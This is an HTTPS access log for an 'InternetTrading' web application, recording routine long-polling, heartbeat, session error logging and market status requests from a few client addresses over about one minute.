[09/Jan/2026:14:01:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938775433 HTTP/1.1" -
[09/Jan/2026:14:01:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938758216 HTTP/1.1" -
[09/Jan/2026:14:01:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938768948 HTTP/1.1" -
[09/Jan/2026:14:01:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938763330 HTTP/1.1" -
[09/Jan/2026:14:01:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:01:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938780498 HTTP/1.1" -
[09/Jan/2026:14:01:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938763283 HTTP/1.1" -
[09/Jan/2026:14:01:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938774016 HTTP/1.1" -
[09/Jan/2026:14:01:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938768468 HTTP/1.1" -
[09/Jan/2026:14:01:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:01:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:01:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938785572 HTTP/1.1" -
[09/Jan/2026:14:01:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938768343 HTTP/1.1" -
[09/Jan/2026:14:01:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:01:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938779110 HTTP/1.1" -
[09/Jan/2026:14:01:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938773518 HTTP/1.1" -
[09/Jan/2026:14:01:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938790605 HTTP/1.1" -
[09/Jan/2026:14:01:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938773418 HTTP/1.1" -
[09/Jan/2026:14:01:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938784189 HTTP/1.1" -
[09/Jan/2026:14:01:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:01:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:01:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938778589 HTTP/1.1" -
[09/Jan/2026:14:01:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938795636 HTTP/1.1" -
[09/Jan/2026:14:01:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938778483 HTTP/1.1" -
[09/Jan/2026:14:01:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938789273 HTTP/1.1" -
[09/Jan/2026:14:01:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:01:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:01:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:01:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938783732 HTTP/1.1" -
[09/Jan/2026:14:01:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938800702 HTTP/1.1" -
[09/Jan/2026:14:01:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938783574 HTTP/1.1" -
[09/Jan/2026:14:01:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938794299 HTTP/1.1" -
[09/Jan/2026:14:02:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938788889 HTTP/1.1" -
[09/Jan/2026:14:02:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938805731 HTTP/1.1" -
[09/Jan/2026:14:02:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938788600 HTTP/1.1" -
[09/Jan/2026:14:02:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938799369 HTTP/1.1" -
[09/Jan/2026:14:02:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:02:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938794031 HTTP/1.1" -
[09/Jan/2026:14:02:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938810789 HTTP/1.1" -
[09/Jan/2026:14:02:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938793688 HTTP/1.1" -
[09/Jan/2026:14:02:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938804469 HTTP/1.1" -
[09/Jan/2026:14:02:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938799091 HTTP/1.1" -
[09/Jan/2026:14:02:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:02:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:02:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938815821 HTTP/1.1" -
[09/Jan/2026:14:02:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938798779 HTTP/1.1" -
[09/Jan/2026:14:02:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:02:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938809541 HTTP/1.1" -
[09/Jan/2026:14:02:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938804244 HTTP/1.1" -
[09/Jan/2026:14:02:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938820843 HTTP/1.1" -
[09/Jan/2026:14:02:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938803925 HTTP/1.1" -
[09/Jan/2026:14:02:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938814632 HTTP/1.1" -
[09/Jan/2026:14:02:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:02:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:02:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938809298 HTTP/1.1" -
[09/Jan/2026:14:02:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938825861 HTTP/1.1" -
[09/Jan/2026:14:02:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938808995 HTTP/1.1" -
[09/Jan/2026:14:02:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:02:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938819704 HTTP/1.1" -
[09/Jan/2026:14:02:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:02:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938814435 HTTP/1.1" -
[09/Jan/2026:14:02:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938830894 HTTP/1.1" -
[09/Jan/2026:14:02:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938814069 HTTP/1.1" -
[09/Jan/2026:14:02:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938824740 HTTP/1.1" -
[09/Jan/2026:14:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938819592 HTTP/1.1" -
[09/Jan/2026:14:02:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938835955 HTTP/1.1" -
[09/Jan/2026:14:02:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938819095 HTTP/1.1" -
[09/Jan/2026:14:02:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938829854 HTTP/1.1" -
[09/Jan/2026:14:02:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:02:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938824808 HTTP/1.1" -
[09/Jan/2026:14:02:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938841009 HTTP/1.1" -
[09/Jan/2026:14:02:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938824207 HTTP/1.1" -
[09/Jan/2026:14:02:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938834923 HTTP/1.1" -
[09/Jan/2026:14:02:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:02:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:02:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938829859 HTTP/1.1" -
